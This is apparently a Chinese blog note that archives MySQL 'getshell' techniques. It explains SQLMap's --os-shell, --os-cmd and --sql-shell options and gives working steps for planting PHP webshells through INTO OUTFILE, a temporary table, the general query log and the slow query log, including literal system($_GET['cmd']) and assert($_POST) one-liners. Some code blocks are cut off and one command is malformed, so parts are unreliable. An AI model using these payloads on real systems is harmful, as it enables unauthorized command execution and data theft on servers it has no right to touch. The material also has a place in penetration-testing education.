MySQL的getshell几种姿势
发篇库存,归档整理一下前朝老笔记
SQLMap里getshell的几个参数
–os-shell
这个参数对于MySQL来说其实就是利用into outfile写入一个webshell,于是需要有足够的写入权限,已知绝对路径的前提条件,对于MSSQL来说,是通过xp_cmdshell等组件直接执行的系统命令,二者是有区别的,前者使用webshell做了一个跳板,后者是直接执行命令的。如果mysql也想实现直接执行系统命令的效果,则需要借助UDF相关的姿势
参数 | 内容 |
---|---|
前提条件 | - 目标存在 SQL 注入漏洞。 - 数据库用户权限足够高,允许执行操作系统命令(如调用 xp_cmdshell 、sys_exec )。 - 需要知道网站的绝对路径(如 /var/www/html )来上传 WebShell。 |
原理 | SQLMap 通过数据库的命令执行功能(如调用系统命令)获取操作系统级别的控制权限,进而实现文件操作、命令执行等功能。 |
交互性 | 提供操作系统命令行的交互式环境,支持连续执行多条系统命令。 |
执行范围 | 操作系统级别:执行任何支持的系统命令,如创建文件、下载工具、操作目录等。 |
适用场景 | - 上传 WebShell。 - 下载工具进行进一步渗透。 - 操作系统级别的持久化或权限提升。 |
示例 | - 上传 WebShell 到 /var/www/html/uploads/shell.php 。 - 执行命令:ls /var/www/html 。 |
–os-cmd
--os-cmd
的实现原理是利用数据库的功能执行操作系统命令,从而实现一次性获取目标系统的执行结果。与 --os-shell
不同,--os-cmd
不会写入 WebShell,也没有交互式环境,适用于快速验证命令执行或获取关键信息的场景。是属于直接执行命令的。于是,它是通过xp_cmdshell或者UDF实现的,不需要知道网站绝对路径写入webshell,只需要有足够高的权限执行命令就行
参数 | 内容 |
---|---|
前提条件 | - 目标存在 SQL 注入漏洞。 - 数据库用户权限足够高,允许执行操作系统命令(如调用 xp_cmdshell 、sys_exec )。 |
原理 | SQLMap 通过数据库执行单次操作系统命令,并将返回结果显示给用户,主要用于快速验证命令执行的成功性。 |
交互性 | 无交互性。每次只能执行一条系统命令,不支持连续命令操作。 |
执行范围 | 操作系统级别:执行简单的一次性系统命令,例如查看当前用户、列目录、测试网络等。 |
适用场景 | - 测试命令执行是否成功。 - 执行一次性命令获取关键信息(如当前目录、文件列表等)。 |
示例 | - 执行:whoami (查看当前用户)。 - 执行:ls /tmp (列出临时目录文件)。 |
–sql-shell
--sql-shell
是 SQLMap 提供的一个交互式工具,用于直接与目标数据库进行 SQL 语句交互。与 --os-shell
和 --os-cmd
不同,--sql-shell
的目标是通过 SQL 注入漏洞提供对数据库的操作能力,而不是直接执行操作系统命令。其实就是把用户输入的 SQL 语句封装成了注入语句,并通过 HTTP 请求发送到目标服务
参数 | 内容 |
---|---|
前提条件 | - 目标存在 SQL 注入漏洞。 - 数据库账户有读写权限,允许执行 SQL 查询语句。 |
原理 | SQLMap 获取对数据库的完全控制权限,并提供一个 SQL 命令行环境,用户可以直接运行 SQL 查询语句操作数据库。 |
交互性 | 提供 SQL 命令行交互环境,支持连续执行多条 SQL 查询语句。 |
执行范围 | 数据库级别:包括查询、修改数据表、查看数据库结构、提取敏感信息等。 |
适用场景 | - 查看数据库表结构。 - 获取用户数据和密码哈希。 - 操作数据库权限扩展漏洞。 |
示例 | - 查询:SELECT * FROM users 。 - 修改:UPDATE users SET password = 'newhash' 。 |
MySQL写shell的几种姿势
into outfile写shell
前提:
联合注入点 或者 堆叠注入点 或者 已经连上数据库
具有数据库root权限、secure_file_priv允许写入、获得了网站绝对路径
secure_file_priv的参数为NULL,表示限制mysql不允许导入导出,如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它;没有具体值时,表示不对mysqld 的导入导出做限制。如下图不存在,那么可以直接写shell
这个secure_file_priv变量是可读变量,不能通过SQL语句修改它的值,它只能通过 MySQL 配置文件或启动参数进行更改
通常在以下位置:
- Linux:
/etc/my.cnf
或/etc/mysql/my.cnf
- Windows:
C:\ProgramData\MySQL\MySQL Server X.Y\my.ini
1 | [mysqld] |
如果这样配置才代表任意目录都允许写入
1 | [mysqld] |
1 | SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';# 直接连接上数据库执行命令 |
创建表间接写shell
前提:
堆叠注入点 或者 已经连上数据库
具有数据库root权限、secure_file_priv允许写入、获得了网站绝对路径
执行下面这段代码,可以将webshell内容写入到根目录下的1.php中,也就是如果是在堆叠注入的场景下,假设不方便使用联合查询注入,那么还可以通过这种方式,自己创建一个临时表,来间接利用into outfile写入shell
1 | CREATE TABLE test( id text(500) not null); |
全局日志写shell
前提:
堆叠注入点 或者 已经连上数据库
目录有写入权限、获得了绝对路径、高权限运行Mysql且5.0版本以上
1 | show variables like '%general%'; # 首先查看全局日志配置是否启用,如果是在关闭状态可以打开它 |
1 | set global general_log = on;# 使用命令打开日志 |
权限不够就会失败
将日志地址设置为网站根目录,这一步需要用到绝对路径,我们把它写入到根目录下的1.php中
1 | set global general_log_file = '绝对路径//1.php'; #注意这里有些服务器的设置会屏蔽掉一个/ 所以写路径的时候可以多加一个/ |
1 | show variables like 'log_output'; # 查看日志输出类型 table或file |
接下来随便执行一个包含webshell内容的语句即可getshell,比方说
1 | select '<?php assert($_POST["admin"]);?>'; |
Mysql数据库会把我们执行的这个查询语句,当作日志的一部分写到我们指定的日志文件里,这也就意味着我们指定的1.php里存在了一条,也就成功getshell了,这基本上是所有日志getshell通用的思想,以后在redis或者别的地方也是同理的!
慢查询日志写shell
前提:
堆叠注入点 或者 已经连上数据库
目录有写入权限、获得了绝对路径、高权限运行Mysql且5.0版本以上
慢查询日志:只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值,这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:
1 | show global variables like '%long_query_time%'; |
通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不容易引起管理员的察觉。
使用下面这两条命令,设置默认查询时间,再查看slow_query_log的值
1 | set global variables like '%long_query_time%'; |
执行下面操作,修改slow_query_log的值,在查询语句中写入一句话木马并延时10秒以上(视情况而定,也可也延长更长时间):
执行下列命令,写shell
1 | set global slow_query_log = "ON"; |
其实和全局日志写shell差不多,只是在日志记录的情况有区别而已